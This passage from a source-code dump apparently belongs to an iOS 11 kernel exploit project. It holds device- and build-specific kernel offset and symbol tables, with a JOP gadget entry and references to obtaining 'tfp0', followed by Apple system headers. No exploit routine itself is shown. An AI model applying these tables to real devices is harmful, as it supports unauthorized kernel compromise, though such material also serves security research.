printf("version: %s\n", u.version); 170 | printf("machine: %s\n", u.machine); 171 | 172 | // set the offsets 173 | 174 | if (strcmp(build_id, "15B202") == 0) { 175 | offsets = kstruct_offsets_15B202; 176 | } else { 177 | offsets = kstruct_offsets_15B202; 178 | printf("unknown kernel build. If this is iOS 11 it might still be able to get tfp0, trying anyway\n"); 179 | have_syms = 0; 180 | return; 181 | } 182 | 183 | // set the symbols 184 | 185 | if (strstr(u.machine, "iPod7,1")) { 186 | printf("this is iPod Touch 6G, should work!\n"); 187 | symbols = ksymbols_ipod_touch_6g_15b202; 188 | have_syms = 1; 189 | } else if (strstr(u.machine, "iPhone9,3")) { 190 | printf("this is iPhone 7, should work!\n"); 191 | symbols = ksymbols_iphone_7_15B202; 192 | have_syms = 1; 193 | } else if (strstr(u.machine, "iPhone8,1")) { 194 | printf("this is iPhone 6s, should work!\n"); 195 | symbols = ksymbols_iphone_6s_15b202; 196 | have_syms = 1; 197 | } else { 198 | printf("no symbols for this device yet\n"); 199 | printf("tfp0 should still work, but the kernel debugger PoC won't\n"); 200 | symbols = NULL; 201 | have_syms = 0; 202 | } 203 | } 204 | 205 | 206 | -------------------------------------------------------------------------------- /Files/symbols.h: -------------------------------------------------------------------------------- 1 | #ifndef symbols_h 2 | #define symbols_h 3 | 4 | #include 5 | 6 | enum kstruct_offset { 7 | /* struct task */ 8 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 9 | KSTRUCT_OFFSET_TASK_REF_COUNT, 10 | KSTRUCT_OFFSET_TASK_ACTIVE, 11 | KSTRUCT_OFFSET_TASK_VM_MAP, 12 | KSTRUCT_OFFSET_TASK_NEXT, 13 | KSTRUCT_OFFSET_TASK_PREV, 14 | KSTRUCT_OFFSET_TASK_ITK_SPACE, 15 | KSTRUCT_OFFSET_TASK_BSD_INFO, 16 | 17 | /* struct ipc_port */ 18 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 19 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 20 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 21 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 22 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 23 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 24 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 25 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 26 | 27 | /* struct proc */ 28 | KSTRUCT_OFFSET_PROC_PID, 29 | 30 | /* struct ipc_space */ 31 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, 32 | 33 | /* struct thread */ 34 | KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR, 35 | KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR, 36 | KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR, 37 | KSTRUCT_OFFSET_THREAD_CONTEXT_DATA, // thread.machine.contextData 38 | KSTRUCT_OFFSET_THREAD_UPCB, // thread.machine.upcb 39 | KSTRUCT_OFFSET_THREAD_UNEON, // thread.machine.uNeon 40 | KSTRUCT_OFFSET_THREAD_KSTACKPTR, 41 | 42 | /* struct processor */ 43 | KSTRUCT_OFFSET_PROCESSOR_CPU_ID, 44 | 45 | /* struct cpu_data */ 46 | KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR, // despite the name this actually points to the top of the stack, not the bottom 47 | KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR, 48 | }; 49 | 50 | 51 | 52 | // the 53 | 54 | enum ksymbol { 55 | KSYMBOL_OSARRAY_GET_META_CLASS, 56 | KSYMBOL_IOUSERCLIENT_GET_META_CLASS, 57 | KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX, 58 | KSYMBOL_CSBLOB_GET_CD_HASH, 59 | KSYMBOL_KALLOC_EXTERNAL, 60 | KSYMBOL_KFREE, 61 | KSYMBOL_RET, 62 | KSYMBOL_OSSERIALIZER_SERIALIZE, 63 | KSYMBOL_KPRINTF, 64 | KSYMBOL_UUID_COPY, 65 | KSYMBOL_CPU_DATA_ENTRIES, 66 | KSYMBOL_VALID_LINK_REGISTER, 67 | KSYMBOL_X21_JOP_GADGET, 68 | KSYMBOL_EXCEPTION_RETURN, 69 | KSYMBOL_THREAD_EXCEPTION_RETURN, 70 | KSYMBOL_SET_MDSCR_EL1_GADGET, 71 | KSYMBOL_WRITE_SYSCALL_ENTRYPOINT, 72 | KSYMBOL_EL1_HW_BP_INFINITE_LOOP, 73 | KSYMBOL_SLEH_SYNC_EPILOG 74 | }; 75 | 76 | int koffset(enum kstruct_offset); 77 | 78 | uint64_t ksym(enum ksymbol); 79 | 80 | void offsets_init(void); 81 | void symbols_init(void); 82 | int probably_have_correct_symbols(void); 83 | 84 | #endif 85 | -------------------------------------------------------------------------------- /Files/sys/kern_control.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2000-2004 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | /*! 29 | @header kern_control.h 30 | This header defines an API to communicate between a kernel 31 | extension and a process outside of the kernel. 32 | */ 33 | 34 | #ifndef KPI_KERN_CONTROL_H 35 | #define KPI_KERN_CONTROL_H 36 | 37 | 38 | #include 39 | 40 | /* 41 | * Define Controller event subclass, and associated events. 42 | * Subclass of KEV_SYSTEM_CLASS 43 | */ 44 | 45 | /*! 46 | @defined KEV_CTL_SUBCLASS 47 | @discussion The kernel event subclass for kernel control events. 48 | */ 49 | #define KEV_CTL_SUBCLASS 2 50 | 51 | /*! 52 | @defined KEV_CTL_REGISTERED 53 | @discussion The event code indicating a new controller was 54 | registered. The data portion will contain a ctl_event_data. 55 | */ 56 | #define KEV_CTL_REGISTERED 1 /* a new controller appears */ 57 | 58 | /*! 59 | @defined KEV_CTL_DEREGISTERED 60 | @discussion The event code indicating a controller was unregistered. 61 | The data portion will contain a ctl_event_data. 62 | */ 63 | #define KEV_CTL_DEREGISTERED 2 /* a controller disappears */ 64 | 65 | /*! 66 | @struct ctl_event_data 67 | @discussion This structure is used for KEV_CTL_SUBCLASS kernel 68 | events. 69 | @field ctl_id The kernel control id. 70 | @field ctl_unit The kernel control unit. 71 | */ 72 | struct ctl_event_data { 73 | u_int32_t ctl_id; /* Kernel Controller ID */ 74 | u_int32_t ctl_unit; 75 | }; 76 | 77 | /* 78 | * Controls destined to the Controller Manager. 79 | */ 80 | 81 | /*! 82 | @defined CTLIOCGCOUNT 83 | @discussion The CTLIOCGCOUNT ioctl can be used to determine the 84 | number of kernel controllers registered. 85 | */ 86 | #define CTLIOCGCOUNT _IOR('N', 2, int) /* get number of control structures registered */ 87 | 88 | /*! 89 | @defined CTLIOCGINFO 90 | @discussion The CTLIOCGINFO ioctl can be used to convert a kernel 91 | control name to a kernel control id. 92 | */ 93 | #define CTLIOCGINFO _IOWR('N', 3, struct ctl_info) /* get id from name */ 94 | 95 | 96 | /*! 97 | @defined MAX_KCTL_NAME 98 | @discussion Kernel control names must be no longer than 99 | MAX_KCTL_NAME. 100 | */ 101 | #define MAX_KCTL_NAME 96 102 | 103 | /* 104 | * Controls destined to the Controller Manager. 105 | */ 106 | 107 | /*! 108 | @struct ctl_info 109 | @discussion This structure is used with the CTLIOCGINFO ioctl to 110 | translate from a kernel control name to a control id. 111 | @field ctl_id The kernel control id, filled out upon return. 112 | @field ctl_name The kernel control name to find. 113 | */ 114 | struct ctl_info { 115 | u_int32_t ctl_id; /* Kernel Controller ID */ 116 | char ctl_name[MAX_KCTL_NAME]; /* Kernel Controller Name (a C string) */ 117 | }; 118 | 119 | 120 | /*! 121 | @struct sockaddr_ctl 122 | @discussion The controller address structure is used to establish 123 | contact between a user client and a kernel controller. The 124 | sc_id/sc_unit uniquely identify each controller. sc_id is a 125 | unique identifier assigned to the controller. The identifier can 126 | be assigned by the system at registration time or be a 32-bit 127 | creator code obtained from Apple Computer. sc_unit is a unit 128 | number for this sc_id, and is privately used by the kernel 129 | controller to identify several instances of the controller. 130 | @field sc_len The length of the structure. 131 | @field sc_family AF_SYSTEM. 132 | @field ss_sysaddr AF_SYS_KERNCONTROL. 133 | @field sc_id Controller unique identifier. 134 | @field sc_unit Kernel controller private unit number. 135 | @field sc_reserved Reserved, must be set to zero. 136 | */ 137 | struct sockaddr_ctl { 138 | u_char sc_len; /* depends on size of bundle ID string */ 139 | u_char sc_family; /* AF_SYSTEM */ 140 | u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */ 141 | u_int32_t sc_id; /* Controller unique identifier */ 142 | u_int32_t sc_unit; /* Developer private unit number */ 143 | u_int32_t sc_reserved[5]; 144 | }; 145 | 146 | 147 | #endif /* KPI_KERN_CONTROL_H */ 148 | 149 | -------------------------------------------------------------------------------- /Files/sys/proc_info.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2005 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | 29 | #ifndef _SYS_PROC_INFO_H 30 | #define _SYS_PROC_INFO_H 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include "kern_control.h" 40 | #include 41 | #include "../net/route.h" 42 | #include 43 | #include 44 | 45 | __BEGIN_DECLS 46 | 47 | 48 | #define PROC_ALL_PIDS 1 49 | #define PROC_PGRP_ONLY 2 50 | #define PROC_TTY_ONLY 3 51 | #define PROC_UID_ONLY 4 52 | #define PROC_RUID_ONLY 5 53 | 54 | struct proc_bsdinfo { 55 | uint32_t pbi_flags; /* 64bit; emulated etc */ 56 | uint32_t pbi_status; 57 | uint32_t pbi_xstatus; 58 | uint32_t pbi_pid; 59 | uint32_t pbi_ppid; 60 | uid_t pbi_uid; 61 | gid_t pbi_gid; 62 | uid_t pbi_ruid; 63 | gid_t pbi_rgid; 64 | uid_t pbi_svuid; 65 | gid_t pbi_svgid; 66 | uint32_t rfu_1; /* reserved */ 67 | char pbi_comm[MAXCOMLEN]; 68 | char pbi_name[2*MAXCOMLEN]; /* empty if no name is registered */ 69 | uint32_t pbi_nfiles; 70 | uint32_t pbi_pgid; 71 | uint32_t pbi_pjobc; 72 | uint32_t e_tdev; /* controlling tty dev */ 73 | uint32_t e_tpgid; /* tty process group id */ 74 | int32_t pbi_nice; 75 | uint64_t pbi_start_tvsec; 76 | uint64_t pbi_start_tvusec; 77 | }; 78 | 79 | 80 | 81 | /* pbi_flags values */ 82 | #define PROC_FLAG_SYSTEM 1 83 | #define PROC_FLAG_TRACED 2 84 | #define PROC_FLAG_INEXIT 4 85 | #define PROC_FLAG_PPWAIT 8 86 | #define PROC_FLAG_LP64 0x10 87 | #define PROC_FLAG_SLEADER 0x20 88 | #define PROC_FLAG_CTTY 0x40 89 | #define PROC_FLAG_CONTROLT 0x80 90 | #define PROC_FLAG_THCWD 0x100 91 | /* process control bits for resource starvation */ 92 | #define PROC_FLAG_PC_THROTTLE 0x200 93 | #define PROC_FLAG_PC_SUSP 0x400 94 | #define PROC_FLAG_PC_KILL 0x600 95 | #define PROC_FLAG_PC_MASK 0x600 96 | /* process action bits for resource starvation */ 97 | #define PROC_FLAG_PA_THROTTLE 0x800 98 | #define PROC_FLAG_PA_SUSP 0x1000 99 | 100 | 101 | struct proc_taskinfo { 102 | uint64_t pti_virtual_size; /* virtual memory size (bytes) */ 103 | uint64_t pti_resident_size; /* resident memory size (bytes) */ 104 | uint64_t pti_total_user; /* total time */ 105 | uint64_t pti_total_system; 106 | uint64_t pti_threads_user; /* existing threads only */ 107 | uint64_t pti_threads_system; 108 | int32_t pti_policy; /* default policy for new threads */ 109 | int32_t pti_faults; /* number of page faults */ 110 | int32_t pti_pageins; /* number of actual pageins */ 111 | int32_t pti_cow_faults; /* number of copy-on-write faults */ 112 | int32_t pti_messages_sent; /* number of messages sent */ 113 | int32_t pti_messages_received; /* number of messages received */ 114 | int32_t pti_syscalls_mach; /* number of mach system calls */ 115 | int32_t pti_syscalls_unix; /* number of unix system calls */ 116 | int32_t pti_csw; /* number of context switches */ 117 | int32_t pti_threadnum; /* number of threads in the task */ 118 | int32_t pti_numrunning; /* number of running threads */ 119 | int32_t pti_priority; /* task priority*/ 120 | }; 121 | 122 | struct proc_taskallinfo { 123 | struct proc_bsdinfo pbsd; 124 | struct proc_taskinfo ptinfo; 125 | }; 126 | 127 | #define MAXTHREADNAMESIZE 64 128 | 129 | struct proc_threadinfo { 130 | uint64_t pth_user_time; /* user run time */ 131 | uint64_t pth_system_time; /* system run time */ 132 | int32_t pth_cpu_usage; /* scaled cpu usage percentage */ 133 | int32_t pth_policy; /* scheduling policy in effect */ 134 | int32_t pth_run_state; /* run state (see below) */ 135 | int32_t pth_flags; /* various flags (see below) */ 136 | int32_t pth_sleep_time; /* number of seconds that thread */ 137 | int32_t pth_curpri; /* cur priority*/ 138 | int32_t pth_priority; /* priority*/ 139 | int32_t pth_maxpriority; /* max priority*/ 140 | char pth_name[MAXTHREADNAMESIZE]; /* thread name, if any */ 141 | }; 142 | 143 | struct proc_regioninfo { 144 | uint32_t pri_protection; 145 | uint32_t pri_max_protection; 146 | uint32_t pri_inheritance; 147 | uint32_t pri_flags; /* shared, external pager, is submap */ 148 | uint64_t pri_offset; 149 | uint32_t pri_behavior; 150 | uint32_t pri_user_wired_count; 151 | uint32_t pri_user_tag; 152 | uint32_t pri_pages_resident; 153 | uint32_t pri_pages_shared_now_private; 154 | uint32_t pri_pages_swapped_out; 155 | uint32_t pri_pages_dirtied; 156 | uint32_t pri_ref_count; 157 | uint32_t pri_shadow_depth; 158 | uint32_t pri_share_mode; 159 | uint32_t pri_private_pages_resident; 160 | uint32_t pri_shared_pages_resident; 161 | uint32_t pri_obj_id; 162 | uint32_t pri_depth; 163 | uint64_t pri_address; 164 | uint64_t pri_size; 165 | }; 166 | 167 | #define PROC_REGION_SUBMAP 1 168 | #define PROC_REGION_SHARED 2 169 | 170 | #define SM_COW 1 171 | #define SM_PRIVATE 2 172 | #define SM_EMPTY 3 173 | #define SM_SHARED 4 174 | #define SM_TRUESHARED 5 175 | #define SM_PRIVATE_ALIASED 6 176 | #define SM_SHARED_ALIASED 7 177 | 178 | 179 | /* 180 | * Thread run states (state field). 181 | */ 182 | 183 | #define TH_STATE_RUNNING 1 /* thread is running normally */ 184 | #define TH_STATE_STOPPED 2 /* thread is stopped */ 185 | #define TH_STATE_WAITING 3 /* thread is waiting normally */ 186 | #define TH_STATE_UNINTERRUPTIBLE 4 /* thread is in an uninterruptible 187 | wait */ 188 | #define TH_STATE_HALTED 5 /* thread is halted at a 189 | clean point */ 190 | 191 | /* 192 | * Thread flags (flags field). 193 | */ 194 | #define TH_FLAGS_SWAPPED 0x1 /* thread is swapped out */ 195 | #define TH_FLAGS_IDLE 0x2 /* thread is an idle thread */ 196 | 197 | 198 | struct proc_workqueueinfo { 199 | uint32_t pwq_nthreads; /* total number of workqueue threads */ 200 | uint32_t pwq_runthreads; /* total number of running workqueue threads */ 201 | uint32_t pwq_blockedthreads; /* total number of blocked workqueue threads */ 202 | uint32_t reserved[1]; /* reserved for future use */ 203 | }; 204 | 205 | struct proc_fileinfo { 206 | uint32_t fi_openflags; 207 | uint32_t fi_status; 208 | off_t fi_offset; 209 | int32_t fi_type; 210 | int32_t rfu_1; /* reserved */ 211 | }; 212 | 213 | /* stats flags in proc_fileinfo */ 214 | #define PROC_FP_SHARED 1 /* shared by more than one fd */ 215 | #define PROC_FP_CLEXEC 2 /* close on exec */ 216 | 217 | /* 218 | * A copy of stat64 with static sized fields. 219 | */ 220 | struct vinfo_stat { 221 | uint32_t vst_dev; /* [XSI] ID of device containing file */ 222 | uint16_t vst_mode; /* [XSI] Mode of file (see below) */ 223 | uint16_t vst_nlink; /* [XSI] Number of hard links */ 224 | uint64_t vst_ino; /* [XSI] File serial number */ 225 | uid_t vst_uid; /* [XSI] User ID of the file */ 226 | gid_t vst_gid; /* [XSI] Group ID of the file */ 227 | int64_t vst_atime; /* [XSI] Time of last access */ 228 | int64_t vst_atimensec; /* nsec of last access */ 229 | int64_t vst_mtime; /* [XSI] Last data modification time */ 230 | int64_t vst_mtimensec; /* last data modification nsec */ 231 | int64_t vst_ctime; /* [XSI] Time of last status change */ 232 | int64_t vst_ctimensec; /* nsec of last status change */ 233 | int64_t vst_birthtime; /* File creation time(birth) */ 234 | int64_t vst_birthtimensec; /* nsec of File creation time */ 235 | off_t vst_size; /* [XSI] file size, in bytes */ 236 | int64_t vst_blocks; /* [XSI] blocks allocated for file */ 237 | int32_t vst_blksize; /* [XSI] optimal blocksize for I/O */ 238 | uint32_t vst_flags; /* user defined flags for file */ 239 | uint32_t vst_gen; /* file generation number */ 240 | uint32_t vst_rdev; /* [XSI] Device ID */ 241 | int64_t vst_qspare[2]; /* RESERVED: DO NOT USE! */ 242 | }; 243 | 244 | struct vnode_info { 245 | struct vinfo_stat vi_stat; 246 | int vi_type; 247 | int vi_pad; 248 | fsid_t vi_fsid; 249 | }; 250 | 251 | struct vnode_info_path { 252 | struct vnode_info vip_vi; 253 | char vip_path[MAXPATHLEN]; /* tail end of it */ 254 | }; 255 | 256 | struct vnode_fdinfo { 257 | struct proc_fileinfo pfi; 258 | struct vnode_info pvi; 259 | }; 260 | 261 | struct vnode_fdinfowithpath { 262 | struct proc_fileinfo pfi; 263 | struct vnode_info_path pvip; 264 | }; 265 | 266 | struct proc_regionwithpathinfo { 267 | struct proc_regioninfo prp_prinfo; 268 | struct vnode_info_path prp_vip; 269 | }; 270 | 271 | struct proc_vnodepathinfo { 272 | struct vnode_info_path pvi_cdir; 273 | struct vnode_info_path pvi_rdir; 274 | }; 275 | 276 | struct proc_threadwithpathinfo { 277 | struct proc_threadinfo pt; 278 | struct vnode_info_path pvip; 279 | }; 280 | 281 | /* 282 | * Socket 283 | */ 284 | 285 | 286 | /* 287 | * IPv4 and IPv6 Sockets 288 | */ 289 | 290 | #define INI_IPV4 0x1 291 | #define INI_IPV6 0x2 292 | 293 | struct in4in6_addr { 294 | u_int32_t i46a_pad32[3]; 295 | struct in_addr i46a_addr4; 296 | }; 297 | 298 | struct in_sockinfo { 299 | int insi_fport; /* foreign port */ 300 | int insi_lport; /* local port */ 301 | uint64_t insi_gencnt; /* generation count of this instance */ 302 | uint32_t insi_flags; /* generic IP/datagram flags */ 303 | uint32_t insi_flow; 304 | 305 | uint8_t insi_vflag; /* ini_IPV4 or ini_IPV6 */ 306 | uint8_t insi_ip_ttl; /* time to live proto */ 307 | uint32_t rfu_1; /* reserved */ 308 | /* protocol dependent part */ 309 | union { 310 | struct in4in6_addr ina_46; 311 | struct in6_addr ina_6; 312 | } insi_faddr; /* foreign host table entry */ 313 | union { 314 | struct in4in6_addr ina_46; 315 | struct in6_addr ina_6; 316 | } insi_laddr; /* local host table entry */ 317 | struct { 318 | u_char in4_tos; /* type of service */ 319 | } insi_v4; 320 | struct { 321 | uint8_t in6_hlim; 322 | int in6_cksum; 323 | u_short in6_ifindex; 324 | short in6_hops; 325 | } insi_v6; 326 | }; 327 | 328 | /* 329 | * TCP Sockets 330 | */ 331 | 332 | #define TSI_T_REXMT 0 /* retransmit */ 333 | #define TSI_T_PERSIST 1 /* retransmit persistence */ 334 | #define TSI_T_KEEP 2 /* keep alive */ 335 | #define TSI_T_2MSL 3 /* 2*msl quiet time timer */ 336 | #define TSI_T_NTIMERS 4 337 | 338 | #define TSI_S_CLOSED 0 /* closed */ 339 | #define TSI_S_LISTEN 1 /* listening for connection */ 340 | #define TSI_S_SYN_SENT 2 /* active, have sent syn */ 341 | #define TSI_S_SYN_RECEIVED 3 /* have send and received syn */ 342 | #define TSI_S_ESTABLISHED 4 /* established */ 343 | #define TSI_S__CLOSE_WAIT 5 /* rcvd fin, waiting for close */ 344 | #define TSI_S_FIN_WAIT_1 6 /* have closed, sent fin */ 345 | #define TSI_S_CLOSING 7 /* closed xchd FIN; await FIN ACK */ 346 | #define TSI_S_LAST_ACK 8 /* had fin and close; await FIN ACK */ 347 | #define TSI_S_FIN_WAIT_2 9 /* have closed, fin is acked */ 348 | #define TSI_S_TIME_WAIT 10 /* in 2*msl quiet wait after close */ 349 | #define TSI_S_RESERVED 11 /* pseudo state: reserved */ 350 | 351 | struct tcp_sockinfo { 352 | struct in_sockinfo tcpsi_ini; 353 | int tcpsi_state; 354 | int tcpsi_timer[TSI_T_NTIMERS]; 355 | int tcpsi_mss; 356 | uint32_t tcpsi_flags; 357 | uint32_t rfu_1; /* reserved */ 358 | uint64_t tcpsi_tp; /* opaque handle of TCP protocol control block */ 359 | }; 360 | 361 | /* 362 | * Unix Domain Sockets 363 | */ 364 | 365 | 366 | struct un_sockinfo { 367 | uint64_t unsi_conn_so; /* opaque handle of connected socket */ 368 | uint64_t unsi_conn_pcb; /* opaque handle of connected protocol control block */ 369 | union { 370 | struct sockaddr_un ua_sun; 371 | char ua_dummy[SOCK_MAXADDRLEN]; 372 | } unsi_addr; /* bound address */ 373 | union { 374 | struct sockaddr_un ua_sun; 375 | char ua_dummy[SOCK_MAXADDRLEN]; 376 | } unsi_caddr; /* address of socket connected to */ 377 | }; 378 | 379 | /* 380 | * PF_NDRV Sockets 381 | */ 382 | 383 | struct ndrv_info { 384 | uint32_t ndrvsi_if_family; 385 | uint32_t ndrvsi_if_unit; 386 | char ndrvsi_if_name[IF_NAMESIZE]; 387 | }; 388 | 389 | /* 390 | * Kernel Event Sockets 391 | */ 392 | 393 | struct kern_event_info { 394 | uint32_t kesi_vendor_code_filter; 395 | uint32_t kesi_class_filter; 396 | uint32_t kesi_subclass_filter; 397 | }; 398 | 399 | /* 400 | * Kernel Control Sockets 401 | */ 402 | 403 | struct kern_ctl_info { 404 | uint32_t kcsi_id; 405 | uint32_t kcsi_reg_unit; 406 | uint32_t kcsi_flags; /* support flags */ 407 | uint32_t kcsi_recvbufsize; /* request more than the default buffer size */ 408 | uint32_t kcsi_sendbufsize; /* request more than the default buffer size */ 409 | uint32_t kcsi_unit; 410 | char kcsi_name[MAX_KCTL_NAME]; /* unique nke identifier, provided by DTS */ 411 | }; 412 | 413 | /* soi_state */ 414 | 415 | #define SOI_S_NOFDREF 0x0001 /* no file table ref any more */ 416 | #define SOI_S_ISCONNECTED 0x0002 /* socket connected to a peer */ 417 | #define SOI_S_ISCONNECTING 0x0004 /* in process of connecting to peer */ 418 | #define SOI_S_ISDISCONNECTING 0x0008 /* in process of disconnecting */ 419 | #define SOI_S_CANTSENDMORE 0x0010 /* can't send more data to peer */ 420 | #define SOI_S_CANTRCVMORE 0x0020 /* can't receive more data from peer */ 421 | #define SOI_S_RCVATMARK 0x0040 /* at mark on input */ 422 | #define SOI_S_PRIV 0x0080 /* privileged for broadcast, raw... */ 423 | #define SOI_S_NBIO 0x0100 /* non-blocking ops */ 424 | #define SOI_S_ASYNC 0x0200 /* async i/o notify */ 425 | #define SOI_S_INCOMP 0x0800 /* Unaccepted, incomplete connection */ 426 | #define SOI_S_COMP 0x1000 /* unaccepted, complete connection */ 427 | #define SOI_S_ISDISCONNECTED 0x2000 /* socket disconnected from peer */ 428 | #define SOI_S_DRAINING 0x4000 /* close waiting for blocked system calls to drain */ 429 | 430 | struct sockbuf_info { 431 | uint32_t sbi_cc; 432 | uint32_t sbi_hiwat; /* SO_RCVBUF, SO_SNDBUF */ 433 | uint32_t sbi_mbcnt; 434 | uint32_t sbi_mbmax; 435 | uint32_t sbi_lowat; 436 | short sbi_flags; 437 | short sbi_timeo; 438 | }; 439 | 440 | enum { 441 | SOCKINFO_GENERIC = 0, 442 | SOCKINFO_IN = 1, 443 | SOCKINFO_TCP = 2, 444 | SOCKINFO_UN = 3, 445 | SOCKINFO_NDRV = 4, 446 | SOCKINFO_KERN_EVENT = 5, 447 | SOCKINFO_KERN_CTL = 6 448 | }; 449 | 450 | struct socket_info { 451 | struct vinfo_stat soi_stat; 452 | uint64_t soi_so; /* opaque handle of socket */ 453 | uint64_t soi_pcb; /* opaque handle of protocol control block */ 454 | int soi_type; 455 | int soi_protocol; 456 | int soi_family; 457 | short soi_options; 458 | short soi_linger; 459 | short soi_state; 460 | short soi_qlen; 461 | short soi_incqlen; 462 | short soi_qlimit; 463 | short soi_timeo; 464 | u_short soi_error; 465 | uint32_t soi_oobmark; 466 | struct sockbuf_info soi_rcv; 467 | struct sockbuf_info soi_snd; 468 | int soi_kind; 469 | uint32_t rfu_1; /* reserved */ 470 | union { 471 | struct in_sockinfo pri_in; /* SOCKINFO_IN */ 472 | struct tcp_sockinfo pri_tcp; /* SOCKINFO_TCP */ 473 | struct un_sockinfo pri_un; /* SOCKINFO_UN */ 474 | struct ndrv_info pri_ndrv; /* SOCKINFO_NDRV */ 475 | struct kern_event_info pri_kern_event; /* SOCKINFO_KERN_EVENT */ 476 | struct kern_ctl_info pri_kern_ctl; /* SOCKINFO_KERN_CTL */ 477 | } soi_proto; 478 | }; 479 | 480 | struct socket_fdinfo { 481 | struct proc_fileinfo pfi; 482 | struct socket_info psi; 483 | }; 484 | 485 | 486 | 487 | struct psem_info { 488 | struct vinfo_stat psem_stat; 489 | char psem_name[MAXPATHLEN]; 490 | }; 491 | 492 | struct psem_fdinfo { 493 | struct proc_fileinfo pfi; 494 | struct psem_info pseminfo; 495 | }; 496 | 497 | 498 | 499 | struct pshm_info { 500 | struct vinfo_stat pshm_stat; 501 | uint64_t pshm_mappaddr; 502 | char pshm_name[MAXPATHLEN]; 503 | }; 504 | 505 | struct pshm_fdinfo { 506 | struct proc_fileinfo pfi; 507 | struct pshm_info pshminfo; 508 | }; 509 | 510 | 511 | struct pipe_info { 512 | struct vinfo_stat pipe_stat; 513 | uint64_t pipe_handle; 514 | uint64_t pipe_peerhandle; 515 | int pipe_status; 516 | int rfu_1; /* reserved */ 517 | }; 518 | 519 | struct pipe_fdinfo { 520 | struct proc_fileinfo pfi; 521 | struct pipe_info pipeinfo; 522 | }; 523 | 524 | 525 | struct kqueue_info { 526 | struct vinfo_stat kq_stat; 527 | uint32_t kq_state; 528 | uint32_t rfu_1; /* reserved */ 529 | }; 530 | #define PROC_KQUEUE_SELECT 1 531 | #define PROC_KQUEUE_SLEEP 2 532 | 533 | struct kqueue_fdinfo { 534 | struct proc_fileinfo pfi; 535 | struct kqueue_info kqueueinfo; 536 | }; 537 | 538 | struct appletalk_info { 539 | struct vinfo_stat atalk_stat; 540 | }; 541 | 542 | struct appletalk_fdinfo { 543 | struct proc_fileinfo pfi; 544 | struct appletalk_info appletalkinfo; 545 | }; 546 | 547 | 548 | 549 | /* defns of process file desc type */ 550 | #define PROX_FDTYPE_ATALK 0 551 | #define PROX_FDTYPE_VNODE 1 552 | #define PROX_FDTYPE_SOCKET 2 553 | #define PROX_FDTYPE_PSHM 3 554 | #define PROX_FDTYPE_PSEM 4 555 | #define PROX_FDTYPE_KQUEUE 5 556 | #define PROX_FDTYPE_PIPE 6 557 | #define PROX_FDTYPE_FSEVENTS 7 558 | 559 | struct proc_fdinfo { 560 | int32_t proc_fd; 561 | uint32_t proc_fdtype; 562 | }; 563 | 564 | /* Flavors for proc_pidinfo() */ 565 | #define PROC_PIDLISTFDS 1 566 | #define PROC_PIDLISTFD_SIZE (sizeof(struct proc_fdinfo)) 567 | 568 | #define PROC_PIDTASKALLINFO 2 569 | #define PROC_PIDTASKALLINFO_SIZE (sizeof(struct proc_taskallinfo)) 570 | 571 | #define PROC_PIDTBSDINFO 3 572 | 